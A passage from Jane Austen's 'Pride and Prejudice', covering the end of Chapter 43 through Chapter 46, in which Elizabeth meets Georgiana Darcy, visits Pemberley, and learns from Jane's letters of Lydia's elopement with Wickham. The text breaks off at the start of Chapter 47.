quarter of a +mile behind. + +He then asked her to walk into the house--but she declared herself not +tired, and they stood together on the lawn. At such a time much might +have been said, and silence was very awkward. She wanted to talk, but +there seemed to be an embargo on every subject. At last she recollected +that she had been travelling, and they talked of Matlock and Dove Dale +with great perseverance. Yet time and her aunt moved slowly--and her +patience and her ideas were nearly worn out before the tete-a-tete was +over. On Mr. and Mrs. Gardiner's coming up they were all pressed to go +into the house and take some refreshment; but this was declined, and +they parted on each side with utmost politeness. Mr. Darcy handed the +ladies into the carriage; and when it drove off, Elizabeth saw him +walking slowly towards the house. + +The observations of her uncle and aunt now began; and each of them +pronounced him to be infinitely superior to anything they had expected. +"He is perfectly well behaved, polite, and unassuming," said her uncle. + +"There _is_ something a little stately in him, to be sure," replied her +aunt, "but it is confined to his air, and is not unbecoming. I can now +say with the housekeeper, that though some people may call him proud, I +have seen nothing of it." + +"I was never more surprised than by his behaviour to us. It was more +than civil; it was really attentive; and there was no necessity for such +attention. His acquaintance with Elizabeth was very trifling." + +"To be sure, Lizzy," said her aunt, "he is not so handsome as Wickham; +or, rather, he has not Wickham's countenance, for his features +are perfectly good. But how came you to tell me that he was so +disagreeable?" + +Elizabeth excused herself as well as she could; said that she had liked +him better when they had met in Kent than before, and that she had never +seen him so pleasant as this morning. + +"But perhaps he may be a little whimsical in his civilities," replied +her uncle. "Your great men often are; and therefore I shall not take him +at his word, as he might change his mind another day, and warn me off +his grounds." + +Elizabeth felt that they had entirely misunderstood his character, but +said nothing. + +"From what we have seen of him," continued Mrs. Gardiner, "I really +should not have thought that he could have behaved in so cruel a way by +anybody as he has done by poor Wickham. He has not an ill-natured look. +On the contrary, there is something pleasing about his mouth when he +speaks. And there is something of dignity in his countenance that would +not give one an unfavourable idea of his heart. But, to be sure, the +good lady who showed us his house did give him a most flaming character! +I could hardly help laughing aloud sometimes. But he is a liberal +master, I suppose, and _that_ in the eye of a servant comprehends every +virtue." + +Elizabeth here felt herself called on to say something in vindication of +his behaviour to Wickham; and therefore gave them to understand, in +as guarded a manner as she could, that by what she had heard from +his relations in Kent, his actions were capable of a very different +construction; and that his character was by no means so faulty, nor +Wickham's so amiable, as they had been considered in Hertfordshire. In +confirmation of this, she related the particulars of all the pecuniary +transactions in which they had been connected, without actually naming +her authority, but stating it to be such as might be relied on. + +Mrs. Gardiner was surprised and concerned; but as they were now +approaching the scene of her former pleasures, every idea gave way to +the charm of recollection; and she was too much engaged in pointing out +to her husband all the interesting spots in its environs to think of +anything else. Fatigued as she had been by the morning's walk they +had no sooner dined than she set off again in quest of her former +acquaintance, and the evening was spent in the satisfactions of a +intercourse renewed after many years' discontinuance. + +The occurrences of the day were too full of interest to leave Elizabeth +much attention for any of these new friends; and she could do nothing +but think, and think with wonder, of Mr. Darcy's civility, and, above +all, of his wishing her to be acquainted with his sister. + + + +Chapter 44 + + +Elizabeth had settled it that Mr. Darcy would bring his sister to visit +her the very day after her reaching Pemberley; and was consequently +resolved not to be out of sight of the inn the whole of that morning. +But her conclusion was false; for on the very morning after their +arrival at Lambton, these visitors came. They had been walking about the +place with some of their new friends, and were just returning to the inn +to dress themselves for dining with the same family, when the sound of a +carriage drew them to a window, and they saw a gentleman and a lady in +a curricle driving up the street. Elizabeth immediately recognizing +the livery, guessed what it meant, and imparted no small degree of her +surprise to her relations by acquainting them with the honour which she +expected. Her uncle and aunt were all amazement; and the embarrassment +of her manner as she spoke, joined to the circumstance itself, and many +of the circumstances of the preceding day, opened to them a new idea on +the business. Nothing had ever suggested it before, but they felt that +there was no other way of accounting for such attentions from such a +quarter than by supposing a partiality for their niece. While these +newly-born notions were passing in their heads, the perturbation of +Elizabeth's feelings was at every moment increasing. She was quite +amazed at her own discomposure; but amongst other causes of disquiet, +she dreaded lest the partiality of the brother should have said too much +in her favour; and, more than commonly anxious to please, she naturally +suspected that every power of pleasing would fail her. + +She retreated from the window, fearful of being seen; and as she walked +up and down the room, endeavouring to compose herself, saw such looks of +inquiring surprise in her uncle and aunt as made everything worse. + +Miss Darcy and her brother appeared, and this formidable introduction +took place. With astonishment did Elizabeth see that her new +acquaintance was at least as much embarrassed as herself. Since her +being at Lambton, she had heard that Miss Darcy was exceedingly proud; +but the observation of a very few minutes convinced her that she was +only exceedingly shy. She found it difficult to obtain even a word from +her beyond a monosyllable. + +Miss Darcy was tall, and on a larger scale than Elizabeth; and, though +little more than sixteen, her figure was formed, and her appearance +womanly and graceful. She was less handsome than her brother; but there +was sense and good humour in her face, and her manners were perfectly +unassuming and gentle. Elizabeth, who had expected to find in her as +acute and unembarrassed an observer as ever Mr. Darcy had been, was much +relieved by discerning such different feelings. + +They had not long been together before Mr. Darcy told her that Bingley +was also coming to wait on her; and she had barely time to express her +satisfaction, and prepare for such a visitor, when Bingley's quick +step was heard on the stairs, and in a moment he entered the room. All +Elizabeth's anger against him had been long done away; but had she still +felt any, it could hardly have stood its ground against the unaffected +cordiality with which he expressed himself on seeing her again. He +inquired in a friendly, though general way, after her family, and looked +and spoke with the same good-humoured ease that he had ever done. + +To Mr. and Mrs. Gardiner he was scarcely a less interesting personage +than to herself. They had long wished to see him. The whole party before +them, indeed, excited a lively attention. The suspicions which had just +arisen of Mr. Darcy and their niece directed their observation towards +each with an earnest though guarded inquiry; and they soon drew from +those inquiries the full conviction that one of them at least knew +what it was to love. Of the lady's sensations they remained a little +in doubt; but that the gentleman was overflowing with admiration was +evident enough. + +Elizabeth, on her side, had much to do. She wanted to ascertain the +feelings of each of her visitors; she wanted to compose her own, and +to make herself agreeable to all; and in the latter object, where she +feared most to fail, she was most sure of success, for those to whom she +endeavoured to give pleasure were prepossessed in her favour. Bingley +was ready, Georgiana was eager, and Darcy determined, to be pleased. + +In seeing Bingley, her thoughts naturally flew to her sister; and, oh! +how ardently did she long to know whether any of his were directed in +a like manner. Sometimes she could fancy that he talked less than on +former occasions, and once or twice pleased herself with the notion +that, as he looked at her, he was trying to trace a resemblance. But, +though this might be imaginary, she could not be deceived as to his +behaviour to Miss Darcy, who had been set up as a rival to Jane. No look +appeared on either side that spoke particular regard. Nothing occurred +between them that could justify the hopes of his sister. On this point +she was soon satisfied; and two or three little circumstances occurred +ere they parted, which, in her anxious interpretation, denoted a +recollection of Jane not untinctured by tenderness, and a wish of saying +more that might lead to the mention of her, had he dared. He observed +to her, at a moment when the others were talking together, and in a tone +which had something of real regret, that it "was a very long time since +he had had the pleasure of seeing her;" and, before she could reply, +he added, "It is above eight months. We have not met since the 26th of +November, when we were all dancing together at Netherfield." + +Elizabeth was pleased to find his memory so exact; and he afterwards +took occasion to ask her, when unattended to by any of the rest, whether +_all_ her sisters were at Longbourn. There was not much in the question, +nor in the preceding remark; but there was a look and a manner which +gave them meaning. + +It was not often that she could turn her eyes on Mr. Darcy himself; +but, whenever she did catch a glimpse, she saw an expression of general +complaisance, and in all that he said she heard an accent so removed +from _hauteur_ or disdain of his companions, as convinced her that +the improvement of manners which she had yesterday witnessed however +temporary its existence might prove, had at least outlived one day. When +she saw him thus seeking the acquaintance and courting the good opinion +of people with whom any intercourse a few months ago would have been a +disgrace--when she saw him thus civil, not only to herself, but to the +very relations whom he had openly disdained, and recollected their last +lively scene in Hunsford Parsonage--the difference, the change was +so great, and struck so forcibly on her mind, that she could hardly +restrain her astonishment from being visible. Never, even in the company +of his dear friends at Netherfield, or his dignified relations +at Rosings, had she seen him so desirous to please, so free from +self-consequence or unbending reserve, as now, when no importance +could result from the success of his endeavours, and when even the +acquaintance of those to whom his attentions were addressed would draw +down the ridicule and censure of the ladies both of Netherfield and +Rosings. + +Their visitors stayed with them above half-an-hour; and when they arose +to depart, Mr. Darcy called on his sister to join him in expressing +their wish of seeing Mr. and Mrs. Gardiner, and Miss Bennet, to dinner +at Pemberley, before they left the country. Miss Darcy, though with a +diffidence which marked her little in the habit of giving invitations, +readily obeyed. Mrs. Gardiner looked at her niece, desirous of knowing +how _she_, whom the invitation most concerned, felt disposed as to its +acceptance, but Elizabeth had turned away her head. Presuming however, +that this studied avoidance spoke rather a momentary embarrassment than +any dislike of the proposal, and seeing in her husband, who was fond of +society, a perfect willingness to accept it, she ventured to engage for +her attendance, and the day after the next was fixed on. + +Bingley expressed great pleasure in the certainty of seeing Elizabeth +again, having still a great deal to say to her, and many inquiries to +make after all their Hertfordshire friends. Elizabeth, construing all +this into a wish of hearing her speak of her sister, was pleased, and on +this account, as well as some others, found herself, when their +visitors left them, capable of considering the last half-hour with some +satisfaction, though while it was passing, the enjoyment of it had been +little. Eager to be alone, and fearful of inquiries or hints from her +uncle and aunt, she stayed with them only long enough to hear their +favourable opinion of Bingley, and then hurried away to dress. + +But she had no reason to fear Mr. and Mrs. Gardiner's curiosity; it was +not their wish to force her communication. It was evident that she was +much better acquainted with Mr. Darcy than they had before any idea of; +it was evident that he was very much in love with her. They saw much to +interest, but nothing to justify inquiry. + +Of Mr. Darcy it was now a matter of anxiety to think well; and, as far +as their acquaintance reached, there was no fault to find. They could +not be untouched by his politeness; and had they drawn his character +from their own feelings and his servant's report, without any reference +to any other account, the circle in Hertfordshire to which he was known +would not have recognized it for Mr. Darcy. There was now an interest, +however, in believing the housekeeper; and they soon became sensible +that the authority of a servant who had known him since he was four +years old, and whose own manners indicated respectability, was not to be +hastily rejected. Neither had anything occurred in the intelligence of +their Lambton friends that could materially lessen its weight. They had +nothing to accuse him of but pride; pride he probably had, and if not, +it would certainly be imputed by the inhabitants of a small market-town +where the family did not visit. It was acknowledged, however, that he +was a liberal man, and did much good among the poor. + +With respect to Wickham, the travellers soon found that he was not held +there in much estimation; for though the chief of his concerns with the +son of his patron were imperfectly understood, it was yet a well-known +fact that, on his quitting Derbyshire, he had left many debts behind +him, which Mr. Darcy afterwards discharged. + +As for Elizabeth, her thoughts were at Pemberley this evening more than +the last; and the evening, though as it passed it seemed long, was not +long enough to determine her feelings towards _one_ in that mansion; +and she lay awake two whole hours endeavouring to make them out. She +certainly did not hate him. No; hatred had vanished long ago, and she +had almost as long been ashamed of ever feeling a dislike against him, +that could be so called. The respect created by the conviction of his +valuable qualities, though at first unwillingly admitted, had for some +time ceased to be repugnant to her feeling; and it was now heightened +into somewhat of a friendlier nature, by the testimony so highly in +his favour, and bringing forward his disposition in so amiable a light, +which yesterday had produced. But above all, above respect and esteem, +there was a motive within her of goodwill which could not be overlooked. +It was gratitude; gratitude, not merely for having once loved her, +but for loving her still well enough to forgive all the petulance and +acrimony of her manner in rejecting him, and all the unjust accusations +accompanying her rejection. He who, she had been persuaded, would avoid +her as his greatest enemy, seemed, on this accidental meeting, most +eager to preserve the acquaintance, and without any indelicate display +of regard, or any peculiarity of manner, where their two selves only +were concerned, was soliciting the good opinion of her friends, and bent +on making her known to his sister. Such a change in a man of so much +pride exciting not only astonishment but gratitude--for to love, ardent +love, it must be attributed; and as such its impression on her was of a +sort to be encouraged, as by no means unpleasing, though it could not be +exactly defined. She respected, she esteemed, she was grateful to him, +she felt a real interest in his welfare; and she only wanted to know how +far she wished that welfare to depend upon herself, and how far it would +be for the happiness of both that she should employ the power, which her +fancy told her she still possessed, of bringing on her the renewal of +his addresses. + +It had been settled in the evening between the aunt and the niece, that +such a striking civility as Miss Darcy's in coming to see them on the +very day of her arrival at Pemberley, for she had reached it only to a +late breakfast, ought to be imitated, though it could not be equalled, +by some exertion of politeness on their side; and, consequently, that +it would be highly expedient to wait on her at Pemberley the following +morning. They were, therefore, to go. Elizabeth was pleased; though when +she asked herself the reason, she had very little to say in reply. + +Mr. Gardiner left them soon after breakfast. The fishing scheme had been +renewed the day before, and a positive engagement made of his meeting +some of the gentlemen at Pemberley before noon. + + + +Chapter 45 + + +Convinced as Elizabeth now was that Miss Bingley's dislike of her had +originated in jealousy, she could not help feeling how unwelcome her +appearance at Pemberley must be to her, and was curious to know with how +much civility on that lady's side the acquaintance would now be renewed. + +On reaching the house, they were shown through the hall into the saloon, +whose northern aspect rendered it delightful for summer. Its windows +opening to the ground, admitted a most refreshing view of the high woody +hills behind the house, and of the beautiful oaks and Spanish chestnuts +which were scattered over the intermediate lawn. + +In this house they were received by Miss Darcy, who was sitting there +with Mrs. Hurst and Miss Bingley, and the lady with whom she lived in +London. Georgiana's reception of them was very civil, but attended with +all the embarrassment which, though proceeding from shyness and the fear +of doing wrong, would easily give to those who felt themselves inferior +the belief of her being proud and reserved. Mrs. Gardiner and her niece, +however, did her justice, and pitied her. + +By Mrs. Hurst and Miss Bingley they were noticed only by a curtsey; and, +on their being seated, a pause, awkward as such pauses must always be, +succeeded for a few moments. It was first broken by Mrs. Annesley, a +genteel, agreeable-looking woman, whose endeavour to introduce some kind +of discourse proved her to be more truly well-bred than either of the +others; and between her and Mrs. Gardiner, with occasional help from +Elizabeth, the conversation was carried on. Miss Darcy looked as if she +wished for courage enough to join in it; and sometimes did venture a +short sentence when there was least danger of its being heard. + +Elizabeth soon saw that she was herself closely watched by Miss Bingley, +and that she could not speak a word, especially to Miss Darcy, without +calling her attention. This observation would not have prevented her +from trying to talk to the latter, had they not been seated at an +inconvenient distance; but she was not sorry to be spared the necessity +of saying much. Her own thoughts were employing her. She expected every +moment that some of the gentlemen would enter the room. She wished, she +feared that the master of the house might be amongst them; and whether +she wished or feared it most, she could scarcely determine. After +sitting in this manner a quarter of an hour without hearing Miss +Bingley's voice, Elizabeth was roused by receiving from her a cold +inquiry after the health of her family. She answered with equal +indifference and brevity, and the other said no more. + +The next variation which their visit afforded was produced by the +entrance of servants with cold meat, cake, and a variety of all the +finest fruits in season; but this did not take place till after many +a significant look and smile from Mrs. Annesley to Miss Darcy had been +given, to remind her of her post. There was now employment for the whole +party--for though they could not all talk, they could all eat; and the +beautiful pyramids of grapes, nectarines, and peaches soon collected +them round the table. + +While thus engaged, Elizabeth had a fair opportunity of deciding whether +she most feared or wished for the appearance of Mr. Darcy, by the +feelings which prevailed on his entering the room; and then, though but +a moment before she had believed her wishes to predominate, she began to +regret that he came. + +He had been some time with Mr. Gardiner, who, with two or three other +gentlemen from the house, was engaged by the river, and had left him +only on learning that the ladies of the family intended a visit to +Georgiana that morning. No sooner did he appear than Elizabeth wisely +resolved to be perfectly easy and unembarrassed; a resolution the more +necessary to be made, but perhaps not the more easily kept, because she +saw that the suspicions of the whole party were awakened against them, +and that there was scarcely an eye which did not watch his behaviour +when he first came into the room. In no countenance was attentive +curiosity so strongly marked as in Miss Bingley's, in spite of the +smiles which overspread her face whenever she spoke to one of its +objects; for jealousy had not yet made her desperate, and her attentions +to Mr. Darcy were by no means over. Miss Darcy, on her brother's +entrance, exerted herself much more to talk, and Elizabeth saw that he +was anxious for his sister and herself to get acquainted, and forwarded +as much as possible, every attempt at conversation on either side. Miss +Bingley saw all this likewise; and, in the imprudence of anger, took the +first opportunity of saying, with sneering civility: + +"Pray, Miss Eliza, are not the ----shire Militia removed from Meryton? +They must be a great loss to _your_ family." + +In Darcy's presence she dared not mention Wickham's name; but Elizabeth +instantly comprehended that he was uppermost in her thoughts; and the +various recollections connected with him gave her a moment's distress; +but exerting herself vigorously to repel the ill-natured attack, she +presently answered the question in a tolerably detached tone. While +she spoke, an involuntary glance showed her Darcy, with a heightened +complexion, earnestly looking at her, and his sister overcome with +confusion, and unable to lift up her eyes. Had Miss Bingley known what +pain she was then giving her beloved friend, she undoubtedly would +have refrained from the hint; but she had merely intended to discompose +Elizabeth by bringing forward the idea of a man to whom she believed +her partial, to make her betray a sensibility which might injure her in +Darcy's opinion, and, perhaps, to remind the latter of all the follies +and absurdities by which some part of her family were connected +with that corps. Not a syllable had ever reached her of Miss Darcy's +meditated elopement. To no creature had it been revealed, where secrecy +was possible, except to Elizabeth; and from all Bingley's connections +her brother was particularly anxious to conceal it, from the very +wish which Elizabeth had long ago attributed to him, of their becoming +hereafter her own. He had certainly formed such a plan, and without +meaning that it should affect his endeavour to separate him from Miss +Bennet, it is probable that it might add something to his lively concern +for the welfare of his friend. + +Elizabeth's collected behaviour, however, soon quieted his emotion; and +as Miss Bingley, vexed and disappointed, dared not approach nearer to +Wickham, Georgiana also recovered in time, though not enough to be able +to speak any more. Her brother, whose eye she feared to meet, scarcely +recollected her interest in the affair, and the very circumstance which +had been designed to turn his thoughts from Elizabeth seemed to have +fixed them on her more and more cheerfully. + +Their visit did not continue long after the question and answer above +mentioned; and while Mr. Darcy was attending them to their carriage Miss +Bingley was venting her feelings in criticisms on Elizabeth's person, +behaviour, and dress. But Georgiana would not join her. Her brother's +recommendation was enough to ensure her favour; his judgement could not +err. And he had spoken in such terms of Elizabeth as to leave Georgiana +without the power of finding her otherwise than lovely and amiable. When +Darcy returned to the saloon, Miss Bingley could not help repeating to +him some part of what she had been saying to his sister. + +"How very ill Miss Eliza Bennet looks this morning, Mr. Darcy," she +cried; "I never in my life saw anyone so much altered as she is since +the winter. She is grown so brown and coarse! Louisa and I were agreeing +that we should not have known her again." + +However little Mr. Darcy might have liked such an address, he contented +himself with coolly replying that he perceived no other alteration than +her being rather tanned, no miraculous consequence of travelling in the +summer. + +"For my own part," she rejoined, "I must confess that I never could +see any beauty in her. Her face is too thin; her complexion has no +brilliancy; and her features are not at all handsome. Her nose +wants character--there is nothing marked in its lines. Her teeth are +tolerable, but not out of the common way; and as for her eyes, +which have sometimes been called so fine, I could never see anything +extraordinary in them. They have a sharp, shrewish look, which I do +not like at all; and in her air altogether there is a self-sufficiency +without fashion, which is intolerable." + +Persuaded as Miss Bingley was that Darcy admired Elizabeth, this was not +the best method of recommending herself; but angry people are not always +wise; and in seeing him at last look somewhat nettled, she had all the +success she expected. He was resolutely silent, however, and, from a +determination of making him speak, she continued: + +"I remember, when we first knew her in Hertfordshire, how amazed we all +were to find that she was a reputed beauty; and I particularly recollect +your saying one night, after they had been dining at Netherfield, '_She_ +a beauty!--I should as soon call her mother a wit.' But afterwards she +seemed to improve on you, and I believe you thought her rather pretty at +one time." + +"Yes," replied Darcy, who could contain himself no longer, "but _that_ +was only when I first saw her, for it is many months since I have +considered her as one of the handsomest women of my acquaintance." + +He then went away, and Miss Bingley was left to all the satisfaction of +having forced him to say what gave no one any pain but herself. + +Mrs. Gardiner and Elizabeth talked of all that had occurred during their +visit, as they returned, except what had particularly interested them +both. The look and behaviour of everybody they had seen were discussed, +except of the person who had mostly engaged their attention. They talked +of his sister, his friends, his house, his fruit--of everything but +himself; yet Elizabeth was longing to know what Mrs. Gardiner thought of +him, and Mrs. Gardiner would have been highly gratified by her niece's +beginning the subject. + + + +Chapter 46 + + +Elizabeth had been a good deal disappointed in not finding a letter from +Jane on their first arrival at Lambton; and this disappointment had been +renewed on each of the mornings that had now been spent there; but +on the third her repining was over, and her sister justified, by the +receipt of two letters from her at once, on one of which was marked that +it had been missent elsewhere. Elizabeth was not surprised at it, as +Jane had written the direction remarkably ill. + +They had just been preparing to walk as the letters came in; and +her uncle and aunt, leaving her to enjoy them in quiet, set off by +themselves. The one missent must first be attended to; it had been +written five days ago. The beginning contained an account of all their +little parties and engagements, with such news as the country afforded; +but the latter half, which was dated a day later, and written in evident +agitation, gave more important intelligence. It was to this effect: + +"Since writing the above, dearest Lizzy, something has occurred of a +most unexpected and serious nature; but I am afraid of alarming you--be +assured that we are all well. What I have to say relates to poor Lydia. +An express came at twelve last night, just as we were all gone to bed, +from Colonel Forster, to inform us that she was gone off to Scotland +with one of his officers; to own the truth, with Wickham! Imagine our +surprise. To Kitty, however, it does not seem so wholly unexpected. I am +very, very sorry. So imprudent a match on both sides! But I am willing +to hope the best, and that his character has been misunderstood. +Thoughtless and indiscreet I can easily believe him, but this step +(and let us rejoice over it) marks nothing bad at heart. His choice is +disinterested at least, for he must know my father can give her nothing. +Our poor mother is sadly grieved. My father bears it better. How +thankful am I that we never let them know what has been said against +him; we must forget it ourselves. They were off Saturday night about +twelve, as is conjectured, but were not missed till yesterday morning at +eight. The express was sent off directly. My dear Lizzy, they must have +passed within ten miles of us. Colonel Forster gives us reason to expect +him here soon. Lydia left a few lines for his wife, informing her of +their intention. I must conclude, for I cannot be long from my poor +mother. I am afraid you will not be able to make it out, but I hardly +know what I have written." + +Without allowing herself time for consideration, and scarcely knowing +what she felt, Elizabeth on finishing this letter instantly seized the +other, and opening it with the utmost impatience, read as follows: it +had been written a day later than the conclusion of the first. + +"By this time, my dearest sister, you have received my hurried letter; I +wish this may be more intelligible, but though not confined for time, my +head is so bewildered that I cannot answer for being coherent. Dearest +Lizzy, I hardly know what I would write, but I have bad news for you, +and it cannot be delayed. Imprudent as the marriage between Mr. Wickham +and our poor Lydia would be, we are now anxious to be assured it has +taken place, for there is but too much reason to fear they are not gone +to Scotland. Colonel Forster came yesterday, having left Brighton the +day before, not many hours after the express. Though Lydia's short +letter to Mrs. F. gave them to understand that they were going to Gretna +Green, something was dropped by Denny expressing his belief that W. +never intended to go there, or to marry Lydia at all, which was +repeated to Colonel F., who, instantly taking the alarm, set off from B. +intending to trace their route. He did trace them easily to Clapham, +but no further; for on entering that place, they removed into a hackney +coach, and dismissed the chaise that brought them from Epsom. All that +is known after this is, that they were seen to continue the London road. +I know not what to think. After making every possible inquiry on that +side London, Colonel F. came on into Hertfordshire, anxiously renewing +them at all the turnpikes, and at the inns in Barnet and Hatfield, but +without any success--no such people had been seen to pass through. With +the kindest concern he came on to Longbourn, and broke his apprehensions +to us in a manner most creditable to his heart. I am sincerely grieved +for him and Mrs. F., but no one can throw any blame on them. Our +distress, my dear Lizzy, is very great. My father and mother believe the +worst, but I cannot think so ill of him. Many circumstances might make +it more eligible for them to be married privately in town than to pursue +their first plan; and even if _he_ could form such a design against a +young woman of Lydia's connections, which is not likely, can I suppose +her so lost to everything? Impossible! I grieve to find, however, that +Colonel F. is not disposed to depend upon their marriage; he shook his +head when I expressed my hopes, and said he feared W. was not a man to +be trusted. My poor mother is really ill, and keeps her room. Could she +exert herself, it would be better; but this is not to be expected. And +as to my father, I never in my life saw him so affected. Poor Kitty has +anger for having concealed their attachment; but as it was a matter of +confidence, one cannot wonder. I am truly glad, dearest Lizzy, that you +have been spared something of these distressing scenes; but now, as the +first shock is over, shall I own that I long for your return? I am not +so selfish, however, as to press for it, if inconvenient. Adieu! I +take up my pen again to do what I have just told you I would not; but +circumstances are such that I cannot help earnestly begging you all to +come here as soon as possible. I know my dear uncle and aunt so well, +that I am not afraid of requesting it, though I have still something +more to ask of the former. My father is going to London with Colonel +Forster instantly, to try to discover her. What he means to do I am sure +I know not; but his excessive distress will not allow him to pursue any +measure in the best and safest way, and Colonel Forster is obliged to +be at Brighton again to-morrow evening. In such an exigence, my +uncle's advice and assistance would be everything in the world; he will +immediately comprehend what I must feel, and I rely upon his goodness." + +"Oh! where, where is my uncle?" cried Elizabeth, darting from her seat +as she finished the letter, in eagerness to follow him, without losing +a moment of the time so precious; but as she reached the door it was +opened by a servant, and Mr. Darcy appeared. Her pale face and impetuous +manner made him start, and before he could recover himself to speak, +she, in whose mind every idea was superseded by Lydia's situation, +hastily exclaimed, "I beg your pardon, but I must leave you. I must find +Mr. Gardiner this moment, on business that cannot be delayed; I have not +an instant to lose." + +"Good God! what is the matter?" cried he, with more feeling than +politeness; then recollecting himself, "I will not detain you a minute; +but let me, or let the servant go after Mr. and Mrs. Gardiner. You are +not well enough; you cannot go yourself." + +Elizabeth hesitated, but her knees trembled under her and she felt how +little would be gained by her attempting to pursue them. Calling back +the servant, therefore, she commissioned him, though in so breathless +an accent as made her almost unintelligible, to fetch his master and +mistress home instantly. + +On his quitting the room she sat down, unable to support herself, and +looking so miserably ill, that it was impossible for Darcy to leave her, +or to refrain from saying, in a tone of gentleness and commiseration, +"Let me call your maid. Is there nothing you could take to give you +present relief? A glass of wine; shall I get you one? You are very ill." + +"No, I thank you," she replied, endeavouring to recover herself. "There +is nothing the matter with me. I am quite well; I am only distressed by +some dreadful news which I have just received from Longbourn." + +She burst into tears as she alluded to it, and for a few minutes could +not speak another word. Darcy, in wretched suspense, could only say +something indistinctly of his concern, and observe her in compassionate +silence. At length she spoke again. "I have just had a letter from Jane, +with such dreadful news. It cannot be concealed from anyone. My younger +sister has left all her friends--has eloped; has thrown herself into +the power of--of Mr. Wickham. They are gone off together from Brighton. +_You_ know him too well to doubt the rest. She has no money, no +connections, nothing that can tempt him to--she is lost for ever." + +Darcy was fixed in astonishment. "When I consider," she added in a yet +more agitated voice, "that I might have prevented it! I, who knew what +he was. Had I but explained some part of it only--some part of what I +learnt, to my own family! Had his character been known, this could not +have happened. But it is all--all too late now." + +"I am grieved indeed," cried Darcy; "grieved--shocked. But is it +certain--absolutely certain?" + +"Oh, yes! They left Brighton together on Sunday night, and were traced +almost to London, but not beyond; they are certainly not gone to +Scotland." + +"And what has been done, what has been attempted, to recover her?" + +"My father is gone to London, and Jane has written to beg my uncle's +immediate assistance; and we shall be off, I hope, in half-an-hour. But +nothing can be done--I know very well that nothing can be done. How is +such a man to be worked on? How are they even to be discovered? I have +not the smallest hope. It is every way horrible!" + +Darcy shook his head in silent acquiescence. + +"When _my_ eyes were opened to his real character--Oh! had I known what +I ought, what I dared to do! But I knew not--I was afraid of doing too +much. Wretched, wretched mistake!" + +Darcy made no answer. He seemed scarcely to hear her, and was walking +up and down the room in earnest meditation, his brow contracted, his air +gloomy. Elizabeth soon observed, and instantly understood it. Her +power was sinking; everything _must_ sink under such a proof of family +weakness, such an assurance of the deepest disgrace. She could neither +wonder nor condemn, but the belief of his self-conquest brought nothing +consolatory to her bosom, afforded no palliation of her distress. It +was, on the contrary, exactly calculated to make her understand her own +wishes; and never had she so honestly felt that she could have loved +him, as now, when all love must be vain. + +But self, though it would intrude, could not engross her. Lydia--the +humiliation, the misery she was bringing on them all, soon swallowed +up every private care; and covering her face with her handkerchief, +Elizabeth was soon lost to everything else; and, after a pause of +several minutes, was only recalled to a sense of her situation by +the voice of her companion, who, in a manner which, though it spoke +compassion, spoke likewise restraint, said, "I am afraid you have been +long desiring my absence, nor have I anything to plead in excuse of my +stay, but real, though unavailing concern. Would to Heaven that anything +could be either said or done on my part that might offer consolation to +such distress! But I will not torment you with vain wishes, which may +seem purposely to ask for your thanks. This unfortunate affair will, I +fear, prevent my sister's having the pleasure of seeing you at Pemberley +to-day." + +"Oh, yes. Be so kind as to apologise for us to Miss Darcy. Say that +urgent business calls us home immediately. Conceal the unhappy truth as +long as it is possible, I know it cannot be long." + +He readily assured her of his secrecy; again expressed his sorrow for +her distress, wished it a happier conclusion than there was at present +reason to hope, and leaving his compliments for her relations, with only +one serious, parting look, went away. + +As he quitted the room, Elizabeth felt how improbable it was that they +should ever see each other again on such terms of cordiality as +had marked their several meetings in Derbyshire; and as she threw a +retrospective glance over the whole of their acquaintance, so full +of contradictions and varieties, sighed at the perverseness of those +feelings which would now have promoted its continuance, and would +formerly have rejoiced in its termination. + +If gratitude and esteem are good foundations of affection, Elizabeth's +change of sentiment will be neither improbable nor faulty. But if +otherwise--if regard springing from such sources is unreasonable or +unnatural, in comparison of what is so often described as arising on +a first interview with its object, and even before two words have been +exchanged, nothing can be said in her defence, except that she had given +somewhat of a trial to the latter method in her partiality for Wickham, +and that its ill success might, perhaps, authorise her to seek the other +less interesting mode of attachment. Be that as it may, she saw him +go with regret; and in this early example of what Lydia's infamy must +produce, found additional anguish as she reflected on that wretched +business. Never, since reading Jane's second letter, had she entertained +a hope of Wickham's meaning to marry her. No one but Jane, she thought, +could flatter herself with such an expectation. Surprise was the least +of her feelings on this development. While the contents of the first +letter remained in her mind, she was all surprise--all astonishment that +Wickham should marry a girl whom it was impossible he could marry +for money; and how Lydia could ever have attached him had appeared +incomprehensible. But now it was all too natural. For such an attachment +as this she might have sufficient charms; and though she did not suppose +Lydia to be deliberately engaging in an elopement without the intention +of marriage, she had no difficulty in believing that neither her virtue +nor her understanding would preserve her from falling an easy prey. + +She had never perceived, while the regiment was in Hertfordshire, that +Lydia had any partiality for him; but she was convinced that Lydia +wanted only encouragement to attach herself to anybody. Sometimes one +officer, sometimes another, had been her favourite, as their attentions +raised them in her opinion. Her affections had continually been +fluctuating but never without an object. The mischief of neglect and +mistaken indulgence towards such a girl--oh! how acutely did she now +feel it! + +She was wild to be at home--to hear, to see, to be upon the spot to +share with Jane in the cares that must now fall wholly upon her, in a +family so deranged, a father absent, a mother incapable of exertion, and +requiring constant attendance; and though almost persuaded that nothing +could be done for Lydia, her uncle's interference seemed of the utmost +importance, and till he entered the room her impatience was severe. Mr. +and Mrs. Gardiner had hurried back in alarm, supposing by the servant's +account that their niece was taken suddenly ill; but satisfying them +instantly on that head, she eagerly communicated the cause of their +summons, reading the two letters aloud, and dwelling on the postscript +of the last with trembling energy.--Though Lydia had never been a +favourite with them, Mr. and Mrs. Gardiner could not but be deeply +afflicted. Not Lydia only, but all were concerned in it; and after the +first exclamations of surprise and horror, Mr. Gardiner promised every +assistance in his power. Elizabeth, though expecting no less, thanked +him with tears of gratitude; and all three being actuated by one spirit, +everything relating to their journey was speedily settled. They were to +be off as soon as possible. "But what is to be done about Pemberley?" +cried Mrs. Gardiner. "John told us Mr. Darcy was here when you sent for +us; was it so?" + +"Yes; and I told him we should not be able to keep our engagement. +_That_ is all settled." + +"What is all settled?" repeated the other, as she ran into her room to +prepare. "And are they upon such terms as for her to disclose the real +truth? Oh, that I knew how it was!" + +But wishes were vain, or at least could only serve to amuse her in the +hurry and confusion of the following hour. Had Elizabeth been at leisure +to be idle, she would have remained certain that all employment was +impossible to one so wretched as herself; but she had her share of +business as well as her aunt, and amongst the rest there were notes to +be written to all their friends at Lambton, with false excuses for their +sudden departure. An hour, however, saw the whole completed; and Mr. +Gardiner meanwhile having settled his account at the inn, nothing +remained to be done but to go; and Elizabeth, after all the misery of +the morning, found herself, in a shorter space of time than she could +have supposed, seated in the carriage, and on the road to Longbourn. + + + +Chapter 47 + + +"I have been thinking it over again, Elizabeth," said her uncle, as they +drove 